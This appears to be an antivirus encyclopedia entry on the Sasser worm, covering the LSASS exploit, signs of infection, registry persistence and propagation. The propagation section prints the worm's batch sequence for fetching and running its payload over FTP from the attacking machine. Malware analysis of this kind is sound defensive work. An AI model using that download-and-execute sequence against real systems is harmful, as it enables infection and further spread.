Net-Worm.Win32.Sasser

Parent class: VirWare

Viruses and worms are malicious programs that self-replicate on computers or via computer networks without the user being aware; each subsequent copy of such malicious programs is also able to self-replicate. Malicious programs which spread via networks or infect remote machines when commanded to do so by the “owner” (e.g. Backdoors) or programs that create multiple copies that are unable to self-replicate are not part of the Viruses and Worms subclass. The main characteristic used to determine whether or not a program is classified as a separate behaviour within the Viruses and Worms subclass is how the program propagates (i.e. how the malicious program spreads copies of itself via local or network resources.) Most known worms are spread as files sent as email attachments, via a link to a web or FTP resource, via a link sent in an ICQ or IRC message, via P2P file sharing networks etc. Some worms spread as network packets; these directly penetrate the computer memory, and the worm code is then activated. Worms use the following techniques to penetrate remote computers and launch copies of themselves: social engineering (for example, an email message suggesting the user opens an attached file), exploiting network configuration errors (such as copying to a fully accessible disk), and exploiting loopholes in operating system and application security. Viruses can be divided in accordance with the method used to infect a computer:

• file viruses
• boot sector viruses
• macro viruses
• script viruses

Any program within this subclass can have additional Trojan functions. It should also be noted that many worms use more than one method in order to spread copies via networks.

Class: Net-Worm

Net-Worms propagate via computer networks. The distinguishing feature of this type of worm is that it does not require user action in order to spread. This type of worm usually searches for critical vulnerabilities in software running on networked computers. In order to infect the computers on the network, the worm sends a specially crafted network packet (called an exploit) and as a result the worm code (or part of the worm code) penetrates the victim computer and activates. Sometimes the network packet only contains the part of the worm code which will download and run a file containing the main worm module. Some network worms use several exploits simultaneously to spread, thus increasing the speed at which they find victims.

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Platform: Win32

Win32 is an API on Windows NT-based operating systems (Windows XP, Windows 7, etc.) that supports execution of 32-bit applications. One of the most widespread programming platforms in the world.

Description

Sasser is an Internet worm that exploits the MS Windows LSASS vulnerability described in Microsoft Security Bulletin MS04-011.

Microsoft released a patch for this vulnerability on April 13, 2004, while Sasser.a was first detected on April 30, 2004.

Sasser operates in a very similar manner to Lovesan, except that Lovesan exploited a vulnerability in the PRC DCOM service, not the LSASS service.

Sasser affects computers running Windows 2000, Windows XP, Windows Server 2003. Sasser functions on all other versions of Windows but is unable to infect them by attacking via the vulnerability.

Sasser is written in C/C++, using the Visual C complier. The worm is about 15 KL and is packed by PECompact2.

Signs of Infection

• the file 'avserve.exe' in the Windows directory.
• An error message about the LSASS service failing which usually also causes the system to reboot.

Propagation

After launching, Sasser copies itself into the Windows root directory under the name avserve.exe and registers this file in the system registry autorun key:

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]



 "avserve.exe" = "%WINDIR%avserve.exe"

Sasser creates a unique identifier 'Jobaka31' in the RAM to locate copies of itself in case of future attempts of infection.

Sasser launches FTP server on TCP port 5554 and then launches 128 propagation routines. During this process, the worm attempts to initiate the AbortSystemShutdown process in order to forbid system reboot.

Sasser initiates an IP-address scan in order to identify victim addresses and sends a request to TCP port 445. If any machines respond, Sasser exploits the LSASS vulnerability to launch a 'cmd.exe' command shell on TCP port 9996. Finally Sasser, commands the infected machine to download and launch the main worm component under the name "N_up.exe", where "N" is a random number:

echo off



echo open [attacking machine address] 5554>>cmd.ftp



echo anonymous>>cmd.ftp



echo user



echo bin>>cmd.ftp



echo get [random number]_up.exe>>cmd.ftp



echo bye>>cmd.ftp



echo on



ftp -s:cmd.ftp



[random number]_up.exe



echo off



del cmd.ftp



echo on

As a result, one machine may be attacked more than once and contain multiple copies of the worm with sample names such as:

23101_up.exe



5409_up.exe

and so forth.

Other

After infection the victim machine generates an error message about a LSASS service failing, whereupon it may attempt to reboot.

Sasser creates the file 'win.log' in the C drive root directory where the worm records the IP-addresses of all attacked machines.

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